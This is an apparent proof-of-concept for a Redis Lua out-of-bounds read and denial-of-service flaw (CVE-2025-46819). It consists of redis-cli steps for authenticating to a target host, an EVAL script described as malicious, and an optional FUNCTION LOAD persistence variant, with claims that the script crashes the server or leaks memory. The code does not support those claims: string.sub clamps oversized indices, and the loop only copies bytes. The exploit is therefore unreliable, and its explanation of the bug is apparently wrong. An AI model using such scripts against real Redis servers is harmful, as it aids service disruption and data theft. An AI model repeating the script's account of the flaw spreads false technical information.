CVE-2025-46819 Redis Lua脚本越界读取与拒绝服务漏洞

-- CVE-2025-46819 Redis Lua Script Out-of-Bounds Read / DoS PoC -- This PoC demonstrates the vulnerability by crafting a malicious Lua script -- that triggers out-of-bounds memory access in Redis's Lua scripting engine. -- Requirements: Valid Redis credentials with EVAL/FUNCTION permissions. -- Step 1: Connect to Redis with authentication -- redis-cli -h <target_host> -p 6379 -a <password> -- Step 2: Execute the malicious Lua script via EVAL command -- The script attempts to trigger out-of-bounds memory read by manipulating -- string buffer operations within the Lua scripting context. EVAL " -- Attempt to trigger OOB read via crafted string operations local malicious_str = string.rep('A', 8192) local result = '' -- Exploit boundary condition in Lua string handling for i = 1, #malicious_str do -- Manipulate internal buffer pointers to cause out-of-bounds access local byte_val = string.byte(malicious_str, i) result = result .. string.char(byte_val) end -- Force memory access beyond allocated buffer local oob_data = string.sub(malicious_str, 1, 99999999) return #oob_data " 0 -- Alternative: Use FUNCTION LOAD for persistent malicious script -- FUNCTION LOAD "#!lua name=malign\nredis.call('EVAL', 'malicious_payload', 0)" -- Impact: -- 1. If successful, returns data from out-of-bounds memory regions -- 2. May cause Redis server to crash (SIGSEGV), resulting in DoS -- 3. Could leak sensitive data from other Redis keys or system memory